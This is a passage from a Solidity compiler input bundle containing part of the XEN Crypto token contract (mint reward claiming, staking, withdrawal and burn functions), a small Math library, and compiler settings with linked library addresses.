mintInfo.eaaRate\n ) * 1 ether;\n uint256 sharedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - sharedReward;\n\n // mint reward tokens\n _mint(_msgSender(), ownReward);\n _mint(other, sharedReward);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and stakes 'pct' of it for 'term'\n */\n function claimMintRewardAndStake(uint256 pct, uint256 term) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n // require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share >100 percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 stakedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - stakedReward;\n\n // mint reward tokens part\n _mint(_msgSender(), ownReward);\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n\n // nothing to burn since we haven't minted this part yet\n // stake extra tokens part\n require(stakedReward > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n _createStake(stakedReward, term);\n emit Staked(_msgSender(), stakedReward, term);\n }\n\n /**\n * @dev initiates XEN Stake in amount for a term (days)\n */\n function stake(uint256 amount, uint256 term) external {\n require(balanceOf(_msgSender()) >= amount, \"XEN: not enough balance\");\n require(amount > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n // burn staked XEN\n _burn(_msgSender(), amount);\n // create XEN Stake\n _createStake(amount, term);\n emit Staked(_msgSender(), amount, term);\n }\n\n /**\n * @dev ends XEN Stake and gets reward if the Stake is mature\n */\n function withdraw() external {\n StakeInfo memory userStake = userStakes[_msgSender()];\n require(userStake.amount > 0, \"XEN: no stake exists\");\n\n uint256 xenReward = _calculateStakeReward(\n userStake.amount,\n userStake.term,\n userStake.maturityTs,\n userStake.apy\n );\n activeStakes--;\n totalXenStaked -= userStake.amount;\n\n // mint staked XEN (+ reward)\n _mint(_msgSender(), userStake.amount + xenReward);\n emit Withdrawn(_msgSender(), userStake.amount, xenReward);\n delete userStakes[_msgSender()];\n }\n\n /**\n * @dev burns XEN tokens and creates Proof-Of-Burn record to be used by connected DeFi services\n */\n function burn(address user, uint256 amount) public {\n require(amount > XEN_MIN_BURN, \"Burn: Below min limit\");\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"Burn: not a supported contract\"\n );\n\n _spendAllowance(user, _msgSender(), amount);\n _burn(user, amount);\n userBurns[user] += amount;\n IBurnRedeemable(_msgSender()).onTokenBurned(user, amount);\n }\n}\n"
},
"@faircrypto/xen-crypto/contracts/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\n\nlibrary Math {\n\n function min(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return b;\n return a;\n }\n\n function max(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return a;\n return b;\n }\n\n function logX64(uint256 x) external pure returns (int128) {\n return ABDKMath64x64.log_2(ABDKMath64x64.fromUInt(x));\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 20
},
"evmVersion": "london",
"libraries": {
"/contracts/libs/MintInfo.sol": {
"MintInfo": "0xC739d01beb34E380461BBa9ef8ed1a44874382Be"
},
"/contracts/libs/Metadata.sol": {
"Metadata": "0x1Ac17FFB8456525BfF46870bba7Ed8772ba063a5"
}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
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